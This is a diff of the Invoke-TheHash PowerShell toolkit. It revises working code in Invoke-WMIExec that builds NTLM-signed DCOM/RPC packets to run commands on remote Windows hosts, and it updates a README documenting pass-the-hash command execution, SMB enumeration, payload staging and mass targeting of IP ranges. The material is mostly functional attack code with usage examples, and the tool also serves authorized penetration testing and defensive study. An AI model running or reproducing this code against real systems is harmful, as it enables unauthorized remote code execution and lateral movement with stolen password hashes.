$HMAC_MD5.ComputeHash($sequence_number + $RPC + $rem_query_interface + $NTLMSSP_verifier[0..11]) $RPC_signature = $RPC_signature[0..7] - $packet_NTLMSSP_verifier["NTLMSSPVerifier_NTLMSSPVerifierChecksum"] = $RPC_signature + $packet_NTLMSSP_verifier["NTLMSSPVerifierChecksum"] = $RPC_signature $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $WMI_client_send = $RPC + $rem_query_interface + $NTLMSSP_verifier $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null - $WMI_client_stage = 'exit' + $WMI_client_stage = 'Exit' if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00') { - Write-Output "$output_username WMI access denied on $target_long" + Write-Output "[-] $output_username WMI access denied on $target_long" } elseif($WMI_client_receive[2] -eq 3) { $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) $error_code = $error_code -replace "-","" - Write-Output "Failed with error code 0x$error_code" + Write-Output "[-] Failed with error code 0x$error_code" } elseif($WMI_client_receive[2] -eq 2) { @@ -974,21 +963,21 @@ if($WMI_client_init.Connected) } else { - Write-Output "Something went wrong" + Write-Output "[-] Something went wrong" } - Write-Verbose "Attempting command execution" + Write-Verbose "[*] Attempting command execution" $request_split_index = 5500 - :WMI_execute_loop while ($WMI_client_stage -ne 'exit') + :WMI_execute_loop while ($WMI_client_stage -ne 'Exit') { if($WMI_client_receive[2] -eq 3) { $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) $error_code = $error_code -replace "-","" - Write-Output "Failed with error code 0x$error_code" - $WMI_client_stage = 'exit' + Write-Output "[-] Failed with error code 0x$error_code" + $WMI_client_stage = 'Exit' } switch ($WMI_client_stage) @@ -1026,7 +1015,7 @@ if($WMI_client_init.Connected) } - $packet_RPC = Get-PacketRPCAlterContext $assoc_group $alter_context_call_ID $alter_context_context_ID $alter_context_UUID + $packet_RPC = New-PacketRPCAlterContext $assoc_group $alter_context_call_ID $alter_context_context_ID $alter_context_UUID $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -1143,7 +1132,7 @@ if($WMI_client_init.Connected) $OXID_index = $WMI_data.IndexOf($OXID) $OXID_bytes_index = $OXID_index / 2 $IPID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)] - $packet_rem_release = Get-PacketDCOMRemRelease $causality_ID_bytes $object_UUID2 $IPID + $packet_rem_release = New-PacketDCOMRemRelease $causality_ID_bytes $object_UUID2 $IPID $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_release } @@ -1157,7 +1146,7 @@ if($WMI_client_init.Connected) $request_opnum = 0x03,0x00 $request_UUID = $object_UUID $WMI_client_stage_next = 'Request' - $packet_rem_query_interface = Get-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x9e,0xc1,0xfc,0xc3,0x70,0xa9,0xd2,0x11,0x8b,0x5a,0x00,0xa0,0xc9,0xb7,0xc9,0xc4 + $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x9e,0xc1,0xfc,0xc3,0x70,0xa9,0xd2,0x11,0x8b,0x5a,0x00,0xa0,0xc9,0xb7,0xc9,0xc4 $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface } @@ -1171,7 +1160,7 @@ if($WMI_client_init.Connected) $request_opnum = 0x03,0x00 $request_UUID = $object_UUID $WMI_client_stage_next = 'AlterContext' - $packet_rem_query_interface = Get-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x83,0xb2,0x96,0xb1,0xb4,0xba,0x1a,0x10,0xb6,0x9c,0x00,0xaa,0x00,0x34,0x1d,0x07 + $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x83,0xb2,0x96,0xb1,0xb4,0xba,0x1a,0x10,0xb6,0x9c,0x00,0xaa,0x00,0x34,0x1d,0x07 $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface } @@ -1227,16 +1216,11 @@ if($WMI_client_init.Connected) $request_context_ID = 0x04,0x00 $request_opnum = 0x18,0x00 $request_UUID = $IPID2 - [Byte[]]$stub_length = [System.BitConverter]::GetBytes($Command.Length + 1769) - $stub_length = $stub_length[0,1] - [Byte[]]$stub_length2 = [System.BitConverter]::GetBytes($Command.Length + 1727) - $stub_length2 = $stub_length2[0,1] - [Byte[]]$stub_length3 = [System.BitConverter]::GetBytes($Command.Length + 1713) - $stub_length3 = $stub_length3[0,1] - [Byte[]]$command_length = [System.BitConverter]::GetBytes($Command.Length + 93) - $command_length = $command_length[0,1] - [Byte[]]$command_length2 = [System.BitConverter]::GetBytes($Command.Length + 16) - $command_length2 = $command_length2[0,1] + [Byte[]]$stub_length = [System.BitConverter]::GetBytes($Command.Length + 1769)[0,1] + [Byte[]]$stub_length2 = [System.BitConverter]::GetBytes($Command.Length + 1727)[0,1] + [Byte[]]$stub_length3 = [System.BitConverter]::GetBytes($Command.Length + 1713)[0,1] + [Byte[]]$command_length = [System.BitConverter]::GetBytes($Command.Length + 93)[0,1] + [Byte[]]$command_length2 = [System.BitConverter]::GetBytes($Command.Length + 16)[0,1] [Byte[]]$command_bytes = [System.Text.Encoding]::UTF8.GetBytes($Command) @@ -1427,19 +1411,19 @@ if($WMI_client_init.Connected) } - $packet_RPC = Get-PacketRPCRequest $request_flags $stub_data.Length 16 $request_auth_padding $request_call_ID $request_context_ID $request_opnum $request_UUID + $packet_RPC = New-PacketRPCRequest $request_flags $stub_data.Length 16 $request_auth_padding $request_call_ID $request_context_ID $request_opnum $request_UUID if($request_split) { - $packet_RPC["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($request_length) + $packet_RPC["AllocHint"] = [System.BitConverter]::GetBytes($request_length) } - $packet_NTLMSSP_verifier = Get-PacketNTLMSSPVerifier $request_auth_padding 0x04 $sequence_number + $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier $request_auth_padding 0x04 $sequence_number $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $stub_data + $NTLMSSP_verifier[0..($request_auth_padding + 7)]) $RPC_signature = $RPC_signature[0..7] - $packet_NTLMSSP_verifier["NTLMSSPVerifier_NTLMSSPVerifierChecksum"] = $RPC_signature + $packet_NTLMSSP_verifier["NTLMSSPVerifierChecksum"] = $RPC_signature $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $WMI_client_send = $RPC + $stub_data + $NTLMSSP_verifier $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null @@ -1470,15 +1454,15 @@ if($WMI_client_init.Connected) if($WMI_client_receive[1145] -ne 9) { - $target_process_ID = DataLength2 1141 $WMI_client_receive - Write-Output "Command executed with process ID $target_process_ID on $target_long" + $target_process_ID = Get-UInt16DataLength 1141 $WMI_client_receive + Write-Output "[+] Command executed with process ID $target_process_ID on $target_long" } else { - Write-Output "Process did not start, check your command" + Write-Output "[-] Process did not start, check your command" } - $WMI_client_stage = 'exit' + $WMI_client_stage = 'Exit' } } @@ -1,5 +1,5 @@ # Invoke-TheHash -Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB services are accessed through .NET TCPClient connections. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side. +Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side. # Requirements Minimum PowerShell 2.0 @@ -11,15 +11,16 @@ or . ./Invoke-WMIExec.ps1 . ./Invoke-SMBExec.ps1 +. ./Invoke-SMBEnum.ps1 . ./Invoke-SMBClient.ps1 . ./Invoke-TheHash.ps1 ## Functions * Invoke-WMIExec * Invoke-SMBExec +* Invoke-SMBEnum * Invoke-SMBClient * Invoke-TheHash -* ConvertTo-TargetList ### Invoke-WMIExec * WMI command execution function. @@ -39,7 +40,7 @@ Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6  ### Invoke-SMBExec -* SMB (PsExec) command execution function supporting SMB1, SMB2 (2.1), and SMB signing. +* SMB (PsExec) command execution function supporting SMB1, SMB2.1, with and without SMB signing. ##### Parameters: * __Target__ - Hostname or IP address of target. @@ -49,17 +50,40 @@ Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6 * __Command__ - Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to SCM on the target. * __CommandCOMSPEC__ - Default = Enabled: Prepend %COMSPEC% /C to Command. * __Service__ - Default = 20 Character Random: Name of the service to create and delete on the target. -* __SMB1__ - (Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the target. * __Sleep__ - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. +* __Version__ - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target. ##### Example: Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose +##### Example: +Check SMB signing requirements on target. +Invoke-SMBExec -Target 192.168.100.20 + ##### Screenshot:  +### Invoke-SMBEnum +* Invoke-SMBEnum performs User, Group, NetSession and Share enumeration tasks over SMB2.1 with and without SMB signing. + +##### Parameters: +* __Target__ - Hostname or IP address of target. +* __Username__ - Username to use for authentication. +* __Domain__ - Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. +* __Hash__ - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format. +* __Action__ - (All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform. +* __Group__ - Default = Administrators: Group to enumerate. +* __Sleep__ - Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. +* __Version__ - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target. Note, only the signing check works with SMB1. + +##### Example: +Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose + +##### Screenshot: + + ### Invoke-SMBClient -* SMB client function supporting SMB2 (2.1) and SMB signing. This function primarily provides SMB file share capabilities for working with hashes that do not have remote command execution privilege. This function can also be used for staging payloads for use with Invoke-WMIExec and Invoke-SMBExec. Note that Invoke-SMBClient is built on the .NET TCPClient and does not use the Windows SMB client. Invoke-SMBClient is much slower than the Windows client and is still in an early stage. It's advisable to only use this client when pass the hash is required. +* SMB client function supporting SMB2.1 and SMB signing. This function primarily provides SMB file share capabilities for working with hashes that do not have remote command execution privilege. This function can also be used for staging payloads for use with Invoke-WMIExec and Invoke-SMBExec. Note that Invoke-SMBClient is built on the .NET TCPClient and does not use the Windows SMB client. Invoke-SMBClient is much slower than the Windows client. ##### Parameters: * __Username__ - Username to use for authentication. @@ -88,6 +112,7 @@ Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6 1. * Put: Uploads a byte array to a new destination file. * __NoProgress__ - Prevents displaying an upload and download progress bar. * __Sleep__ - Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. +* __Version__ - Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the target. Note, only the signing check works with SMB1. ##### Example: List the contents of a root share directory. @@ -133,12 +158,12 @@ Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F  ### Invoke-TheHash -* Function for running Invoke-WMIExec and Invoke-SMBExec against multiple targets. +* Function for running Invoke-TheHash functions against multiple targets. ##### Parameters: -* __Type__ - Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. -* __Targets__ - List of hostnames, IP addresses, or CIDR notation for targets. -* __TargetsExclude__ - List of hostnames and/or IP addresses to exclude form the list or targets. +* __Type__ - Sets the desired Invoke-TheHash function. Set to either SMBClient, SMBEnum, SMBExec, or WMIExec. +* __Target__ - List of hostnames, IP addresses, CIDR notation, or IP ranges for targets. +* __TargetExclude__ - List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude from the list or targets. * __PortCheckDisable__ - (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up he function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection. * __PortCheckTimeout__ - Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check. * __Username__ - Username to use for authentication. @@ -156,5 +181,3 @@ Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.1 ##### Screenshot:  -### ConvertTo-TargetList -* Converts Invoke-TheHash output to an array that contains only targets discovered to have Invoke-WMIExec or Invoke-SMBExec access. The output from this function can be fed back into the Targets parameter of Invoke-TheHash. |